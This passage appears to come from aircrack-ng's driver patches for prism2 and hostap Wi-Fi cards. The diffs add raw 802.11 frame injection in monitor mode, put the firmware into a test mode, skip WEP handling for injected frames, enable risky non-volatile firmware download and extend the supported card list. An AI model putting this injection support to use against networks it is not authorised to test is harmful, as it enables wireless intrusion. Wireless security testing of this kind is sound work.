-951,8 +951,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x.c 2007-05-19 13:57:58.000000000 +0200 @@ -1873,8 +1873,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3114,12 +3122,33 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3142,7 +3171,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3587,6 +3617,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: hfa384x.c.orig diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x_usb.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x_usb.c 2007-05-19 13:57:58.000000000 +0200 @@ -1430,8 +1430,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + // cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + // HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3431,37 +3439,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + // hw->txbuff.txfrm.desc.tx_control = + // host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + // /* copy the header over to the txdesc */ + // memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + // /* if we're using host WEP, increase size by IV+ICV */ + // if (p80211_wep->data) { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + // usbpktlen+=8; + // } else { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4223,6 +4265,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: hfa384x_usb.c.orig diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.8/src/prism2/driver/prism2mgmt.c 2007-01-30 19:12:42.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2mgmt.c 2007-05-19 13:57:58.000000000 +0200 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + // if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + // word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + // if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.8/src/prism2/driver/prism2sta.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2sta.c 2007-05-19 13:57:58.000000000 +0200 @@ -411,7 +411,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + // if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: prism2sta.c.orig aircrack-ng-1.1/patches/hostap-driver-0.4.7.patch0000644000000000000000000004603110761053203020136 0ustar rootrootdiff -ur hostap-driver-0.4.7/driver/etc/hostap_cs.conf hostap-driver-0.4.7-aircrack-ng/driver/etc/hostap_cs.conf --- hostap-driver-0.4.7/driver/etc/hostap_cs.conf 2005-11-06 14:01:09.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/etc/hostap_cs.conf 2006-03-20 14:45:13.000000000 -0500 @@ -102,17 +102,17 @@ card "Level-One WPC-0100" version "Digital Data Communications", "WPC-0100", "Version 00.00" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Belkin 802.11b WLAN PCMCIA" version "Belkin", "11Mbps Wireless Notebook Network Adapter", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Senao SL-2011CD/SL-2011CDPLUS" version "INTERSIL", "HFA384x/IEEE", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Fulbond Airbond XI-300B" diff -ur hostap-driver-0.4.7/driver/modules/hostap_80211_tx.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_80211_tx.c --- hostap-driver-0.4.7/driver/modules/hostap_80211_tx.c 2005-08-06 13:55:14.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_80211_tx.c 2006-03-20 14:45:13.000000000 -0500 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -377,8 +381,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur hostap-driver-0.4.7/driver/modules/hostap.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap.c --- hostap-driver-0.4.7/driver/modules/hostap.c 2005-08-06 13:47:10.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap.c 2006-03-20 14:45:13.000000000 -0500 @@ -407,7 +407,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur hostap-driver-0.4.7/driver/modules/hostap_config.h hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_config.h --- hostap-driver-0.4.7/driver/modules/hostap_config.h 2005-11-20 20:42:12.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_config.h 2006-03-20 14:45:13.000000000 -0500 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur hostap-driver-0.4.7/driver/modules/hostap_cs.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_cs.c --- hostap-driver-0.4.7/driver/modules/hostap_cs.c 2005-11-06 14:01:09.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_cs.c 2006-03-20 15:11:53.000000000 -0500 @@ -929,53 +929,98 @@ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,67) #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,13)) static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), - PCMCIA_DEVICE_NULL + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 